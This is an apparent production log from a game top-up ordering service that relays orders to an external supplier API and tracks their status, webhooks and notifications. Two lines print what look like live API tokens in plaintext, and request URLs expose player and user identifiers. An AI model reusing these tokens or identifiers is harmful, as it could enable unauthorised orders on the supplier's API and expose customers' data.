[2026-03-24 10:12:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-I5vwqt-1774336229","operation_id":163482,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 10:12:00] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-I5vwqt-1774336229","operation_id":163482,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 10:12:00] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-I5vwqt-1774336229","operation_id":163482,"count":2} 
[2026-03-24 10:12:00] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-I5vwqt-1774336229","operation_id":163482,"count":2} 
[2026-03-24 10:12:00] production.INFO: Bulk processed user refunds {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-I5vwqt-1774336229","operation_id":163482,"count":1} 
[2026-03-24 10:12:00] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-I5vwqt-1774336229","operation_id":163482,"user_id":1056,"notification_type":"order_approved","reference_id":178552} 
[2026-03-24 10:12:00] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-I5vwqt-1774336229","operation_id":163482,"user_id":1056,"notification_type":"order_rejected","reference_id":178551} 
[2026-03-24 10:12:00] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-I5vwqt-1774336229","operation_id":163482,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":1} 
[2026-03-24 10:12:00] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-I5vwqt-1774336229","operation_id":163482,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 10:12:00] production.INFO: Batch update completed {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-I5vwqt-1774336229","operation_id":163482,"processed":2,"errors":0} 
[2026-03-24 10:12:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-I5vwqt-1774336229","operation_id":163482,"processed":2,"errors":0} 
[2026-03-24 10:12:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"P9GwHdwrOKYPC7rg9YX0i9ktCehHvLsx","execution_time":"2026-03-24 10:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-I5vwqt-1774336229","operation_id":163482} 
[2026-03-24 10:12:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 10:12:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 10:12:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 10:13:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1770  
[2026-03-24 10:13:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1770  
[2026-03-24 10:13:36] production.INFO: Constructing job for order: 178553  
[2026-03-24 10:13:37] production.INFO: Handling job for order: 178553  
[2026-03-24 10:13:37] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:13:37] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:13:37] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=106fd43f-2c62-4075-b429-714b4ead1dc5&Player_ID=0958268523  
[2026-03-24 10:13:37] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=106fd43f-2c62-4075-b429-714b4ead1dc5&Player_ID=0958268523","has_body":false} 
[2026-03-24 10:13:37] production.INFO: Operation sent successfully {"operation_id":163484,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-dWaHRZb-1774336417","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 10:13:37"}},"processed_data":{"order_number":"ORD-dWaHRZb-1774336417","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 10:14:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01"} 
[2026-03-24 10:14:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01","total_operations":2,"sites_count":2} 
[2026-03-24 10:14:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:14:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:14:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:14:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:14:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:14:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1,"order_ids":["ORD-dWaHRZb-1774336417"]} 
[2026-03-24 10:14:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:14:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1} 
[2026-03-24 10:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484} 
[2026-03-24 10:14:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:14:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484,"processed":0,"errors":0} 
[2026-03-24 10:14:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"1BDeRMh2Wr2T134FYJ7de88AfnEWad8R","execution_time":"2026-03-24 10:14:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484} 
[2026-03-24 10:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 10:15:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 10:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 10:15:04] production.INFO: async() رجع: true  
[2026-03-24 10:15:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 10:15:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 10:15:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 10:15:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 10:15:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 10:15:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 10:15:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 10:15:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 10:15:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 10:15:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 10:15:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 10:16:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02"} 
[2026-03-24 10:16:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","total_operations":2,"sites_count":2} 
[2026-03-24 10:16:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:16:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:16:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:16:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:16:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:16:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1,"order_ids":["ORD-dWaHRZb-1774336417"]} 
[2026-03-24 10:16:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:16:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1} 
[2026-03-24 10:16:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 10:16:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 10:16:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484,"count":1} 
[2026-03-24 10:16:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484,"count":1} 
[2026-03-24 10:16:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484,"user_id":1056,"notification_type":"order_approved","reference_id":178553} 
[2026-03-24 10:16:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 10:16:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 10:16:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484,"processed":1,"errors":0} 
[2026-03-24 10:16:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484,"processed":1,"errors":0} 
[2026-03-24 10:16:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"eqbqJCwDuaV1qTU49nwWLKYLO4CUfPea","execution_time":"2026-03-24 10:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dWaHRZb-1774336417","operation_id":163484} 
[2026-03-24 10:16:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 10:17:02] production.INFO: Constructing job for order: 178554  
[2026-03-24 10:17:05] production.INFO: Handling job for order: 178554  
[2026-03-24 10:17:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 10:17:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:17:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/615/params?qty=20000&uuid=c9a3e44b-cc11-4dd1-ab97-1e7121d5894a&Player_ID=13127018  
[2026-03-24 10:17:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/615/params?qty=20000&uuid=c9a3e44b-cc11-4dd1-ab97-1e7121d5894a&Player_ID=13127018","has_body":false} 
[2026-03-24 10:17:06] production.INFO: Operation sent successfully {"operation_id":163485,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-56t-1774336626","amount":2.115180000000000060111915445304475724697113037109375,"status":"processing","product":"Xena Amount","game":"Xena","notes":[],"created_at":"2026-03-24 10:17:06"}},"processed_data":{"order_number":"ORD-56t-1774336626","amount":2.115180000000000060111915445304475724697113037109375,"status":"processing","product":"Xena Amount","game":"Xena"}} 
[2026-03-24 10:18:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6bMvEWSQUOFjr7XTF39kH6lTmChaXZeF","execution_time":"2026-03-24 10:18:00"} 
[2026-03-24 10:18:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"6bMvEWSQUOFjr7XTF39kH6lTmChaXZeF","execution_time":"2026-03-24 10:18:00","total_operations":2,"sites_count":1} 
[2026-03-24 10:18:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6bMvEWSQUOFjr7XTF39kH6lTmChaXZeF","execution_time":"2026-03-24 10:18:00","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-56t-1774336626"]} 
[2026-03-24 10:18:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6bMvEWSQUOFjr7XTF39kH6lTmChaXZeF","execution_time":"2026-03-24 10:18:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:18:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6bMvEWSQUOFjr7XTF39kH6lTmChaXZeF","execution_time":"2026-03-24 10:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 10:18:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6bMvEWSQUOFjr7XTF39kH6lTmChaXZeF","execution_time":"2026-03-24 10:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-56t-1774336626","operation_id":163485} 
[2026-03-24 10:18:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6bMvEWSQUOFjr7XTF39kH6lTmChaXZeF","execution_time":"2026-03-24 10:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:18:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6bMvEWSQUOFjr7XTF39kH6lTmChaXZeF","execution_time":"2026-03-24 10:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 10:18:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6bMvEWSQUOFjr7XTF39kH6lTmChaXZeF","execution_time":"2026-03-24 10:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:18:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"6bMvEWSQUOFjr7XTF39kH6lTmChaXZeF","execution_time":"2026-03-24 10:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:20:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"YNrFB2SkjKAtJYvG4k6f1rk6pGBP636f","execution_time":"2026-03-24 10:20:01"} 
[2026-03-24 10:20:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"YNrFB2SkjKAtJYvG4k6f1rk6pGBP636f","execution_time":"2026-03-24 10:20:01","total_operations":2,"sites_count":1} 
[2026-03-24 10:20:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"YNrFB2SkjKAtJYvG4k6f1rk6pGBP636f","execution_time":"2026-03-24 10:20:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-56t-1774336626"]} 
[2026-03-24 10:20:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"YNrFB2SkjKAtJYvG4k6f1rk6pGBP636f","execution_time":"2026-03-24 10:20:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:20:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"YNrFB2SkjKAtJYvG4k6f1rk6pGBP636f","execution_time":"2026-03-24 10:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 10:20:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YNrFB2SkjKAtJYvG4k6f1rk6pGBP636f","execution_time":"2026-03-24 10:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-56t-1774336626","operation_id":163485} 
[2026-03-24 10:20:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YNrFB2SkjKAtJYvG4k6f1rk6pGBP636f","execution_time":"2026-03-24 10:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:20:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"YNrFB2SkjKAtJYvG4k6f1rk6pGBP636f","execution_time":"2026-03-24 10:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 10:20:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"YNrFB2SkjKAtJYvG4k6f1rk6pGBP636f","execution_time":"2026-03-24 10:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:20:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"YNrFB2SkjKAtJYvG4k6f1rk6pGBP636f","execution_time":"2026-03-24 10:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:20:01] production.INFO: Executing GetProducts task...  
[2026-03-24 10:20:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 10:20:01] production.INFO: Executing GetProducts task...  
[2026-03-24 10:20:03] production.INFO: async() رجع: true  
[2026-03-24 10:20:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 10:20:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 10:20:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 10:20:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 10:20:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 10:20:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 10:20:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 10:20:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 10:20:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 10:20:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 10:20:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 10:20:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-56t-1774336626","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 10:20:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-56t-1774336626","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 10:20:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 10:20:05] production.INFO: SendAcceptReject: Notification queued {"user_id":1488,"notification_type":"order_approved","reference_id":178554} 
[2026-03-24 10:20:05] production.INFO: Order updated successfully. Order ID: 178554, Status: completed  
[2026-03-24 10:20:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-56t-1774336626","status":"completed","codes_count":0} 
[2026-03-24 10:20:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 10:20:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1770  
[2026-03-24 10:20:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1770  
[2026-03-24 10:22:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"dYqfOaGAiqDnVY49WT9j3BxEgk3qT4OD","execution_time":"2026-03-24 10:22:01"} 
[2026-03-24 10:22:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"dYqfOaGAiqDnVY49WT9j3BxEgk3qT4OD","execution_time":"2026-03-24 10:22:01","total_operations":1,"sites_count":1} 
[2026-03-24 10:22:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"dYqfOaGAiqDnVY49WT9j3BxEgk3qT4OD","execution_time":"2026-03-24 10:22:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:22:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"dYqfOaGAiqDnVY49WT9j3BxEgk3qT4OD","execution_time":"2026-03-24 10:22:01","site_id":3,"site_name":"swgamessd"} 
